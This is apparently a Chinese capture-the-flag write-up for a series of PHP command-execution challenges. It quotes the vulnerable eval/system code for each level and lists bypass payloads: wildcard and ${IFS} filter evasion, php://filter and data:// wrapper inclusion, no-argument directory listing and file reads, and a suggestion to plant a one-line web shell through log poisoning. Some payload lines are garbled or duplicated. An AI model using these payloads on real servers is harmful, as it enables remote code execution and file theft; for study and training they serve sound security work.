error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
对 flag 进行了过滤:
姿势学习:
c=system('cat f*'); #正则表达式
c=echo `nl fl''ag.php`; #反引号可以将输出作为命令执行
c=eval($_GET[1]);&1=system('nl flag.php'); #拼接
c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php #利用文件包含
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
对 flag system php
进行了过滤
姿势:
各种命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
payload:
c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
en …又过滤了好多
cat 被过滤,还有:
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
姿势:
c=eval($_GET[1]);&1=system('nl flag.php'); #拼接
c=echo(`nl%09fl[abc]*`); #正则,%09空格绕过
看大佬博客,学到了骚姿势:
c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
dirname() 函数返回路径中的目录名称部分。
scandir() 函数返回指定目录中的文件和目录的数组。
array_reverse() 函数返回翻转顺序的数组。
next() 函数将内部指针指向数组中的下一个元素,并输出。
关键代码:
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))
姿势:
include不用括号,分号可以用?>代替。
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,
这几道题大同小异,直接上payload:
c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
涉及了文件包含,伪协议:
data:// 可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
payload:
?c=data://text/plain;base64,data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
多过滤了php和file,解法一同37。
解法二:
查看日志文件:
nginx的日志文件/var/log/nginx/access.log
使用burpsuite抓包,在UA头中写入一句话木马,连接菜刀即可:
官方提示:data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。
payload同37.
基本上数字和必要的符号都被过滤了。
这里可以构造无参数函数进行文件读取。
无参数文件读取.
payload:
?c=show_source(next(array_reverse(scandir(current(localeconv())))));
不会…碰到脚本就GG;看看文末大佬解法吧。。。
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
/dev/null 2>&1 会把标准输出和错误输出全部丢弃
参考链接:linux下详解shell中>/dev/null 2>&1
所以在构造payload时,不能执行后面的语句,需要把后面截断。
使用:
|| #前面的语句正确,则不执行后面的语句
%0a #换行符,也能起到截断的效果
; #貌似也可以
过滤了;和cat,其实还有很多方法,不啰嗦了。
并没有涉及什么新的知识点。。。
又过滤了空格
姿势:
%09 #php环境下可以绕过空格
过滤了数子,$,* 等,通配符可以使用?问号,空格可用%09 (不属于数字).
flag过滤可以用 ’ ’ ," "绕过
不涉及新的知识点,不suo了。
过滤了很多能当空格的东西,但是没有过滤 $
姿势:
${
IFS} #空格绕过
payload:
?c=?c=ca''t${
IFS}fl""ag.php||
然后发现是个假的flag,哈哈
那先:
ls${
IFS}/|| #看一下 / 目录下的文件
不涉及新的知识点,直接给payload:
?c=nl${
IFS}fla\g.php
?c=nl${
IFS}fla""g.php
正则基本上都过滤了,使用通配符 ?
payload:
/bin/?at${
IFS}f???????
这里为什么要用/bin呢?因为该目录下存放着系统的一些基本命令,比如:cat、cp、chmod、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
即:
?c=/???/????64 ????.???
这道题,我只能说 卧*! 牛*!
我菜比就不多说了,拜见大佬吧:
大佬套大佬
见文末大佬。菜鸡表示不会。
这几关可以同一姿势:
c=print_r(scandir(pos(localeconv())));
c=print_r(array_reverse(scandir(pos(localeconv()))));
c=print_r(next(array_reverse(scandir(pos(localeconv())))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
简单解释:
localeconv() #返回一包含本地数字及货币格式信息的数组。
current() #返回数组的当前元素;pos()等同。
scandir() #返回指定目录中的文件和目录的数组。
array_reverse() #颠倒数组
next() #指针指向下一个
show_source()
highlight_file() #显示内容
参考大佬文章,还有很多姿势;文末。
先进行目录扫描,并输出:
c=print_r(scandir('/'));
c=var_dump(scandir("/"));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){
echo($f->__toString()." ");}
第三中方法正在学习中
后面因为是txt文件,所以直接用include直接包含就能显示flag
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
简单审计一下代码:
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
payload:
c=require_once('/flag.txt');exit(); #通过exit();使程序提前退出,绕过后面的正则表达式
见文末。
c=?> $a=new DirectoryIterator("glob:///*");foreach($a as $f){
echo($f->__toString().' ');} exit(0);
payload:
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);
大佬.
ctfshow web入门58-77绕过disable function